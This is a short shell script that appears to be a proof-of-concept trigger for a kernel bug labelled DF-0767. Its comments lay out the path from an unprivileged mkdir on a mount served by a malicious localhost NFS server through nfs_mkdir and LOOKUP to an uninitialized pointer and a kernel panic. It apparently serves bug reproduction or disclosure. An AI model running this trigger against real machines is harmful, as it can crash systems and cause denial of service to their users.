#!/bin/sh
# trigger.sh -- DF-0767 unprivileged trigger.
#
# Pre-condition (set up by root, like "an admin mounted an NFS share"):
#   - ./nfs_mal_server is already running on 127.0.0.1 (rpcbind :111,
#     MOUNT+NFS :2049) -- the compromised/malicious NFS server.
#   - the malicious server is mounted at $MNT (mount_nfs 127.0.0.1:/x $MNT).
#
# This script runs *as the unprivileged user* (maxx).  It issues the single
# mkdir that walks nfs_mkdir -> MKDIR (no fh) -> nfs_lookitup -> LOOKUP echoes
# the parent filehandle -> uninitialized *npp -> NFSTOV(wild) -> panic.
#
# Usage:   ./trigger.sh [mountpoint]
set -e
MNT="${1:-/mnt}"
echo "[*] DF-0767 trigger: running as $(id) on $MNT"
echo "[*] issuing: mkdir $MNT/df0767_pwn  (drives NFS MKDIR + LOOKUP)"
mkdir "$MNT/df0767_pwn" 2>&1 || echo "[*] mkdir returned rc=$? (kernel may have panicked before returning)"
echo "[!] trigger returned without panic -- bug did NOT fire (or kernel is patched)"